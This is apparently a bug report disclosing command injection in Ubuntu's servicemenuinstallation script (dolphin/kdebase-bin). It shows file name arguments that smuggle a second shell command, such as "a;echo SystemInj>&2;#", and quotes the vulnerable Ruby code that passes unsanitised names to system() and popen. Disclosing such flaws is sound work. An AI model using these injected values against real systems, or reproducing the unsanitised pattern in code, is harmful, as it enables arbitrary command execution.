command injection in servicemenuinstallation

[Emanuel Bronshtein]

Binary package hint: dolphin

/usr/bin/servicemenuinstallation have command injection bug.
in ubuntu 10.04 the file exist inside kdebase-bin package.
in ubuntu 11.04 the file exist inside dolphin package.

test case :
emanuel@emanuel-desktop:/tmp$ touch a
emanuel@emanuel-desktop:/tmp$ /usr/bin/servicemenuinstallation "a;echo SystemInj>&2;#"
SystemInj
emanuel@emanuel-desktop:/tmp$ tar -cf a.tar a
emanuel@emanuel-desktop:/tmp$ /usr/bin/servicemenuinstallation "a.tar;echo SystemInj>&2;exit 1;#"
SystemInj
SystemInj

the bug can be found at :

archive = ARGV[0]
exit(-1) if !uncompress(archive, dir)

def uncompress(filename, output)
    system(sprintf($archivetypes[mimeType(filename)].to_s, filename, output))
end

def mimeType(filename)
    IO.popen("file --mime-type -b " + filename).gets().strip!()
end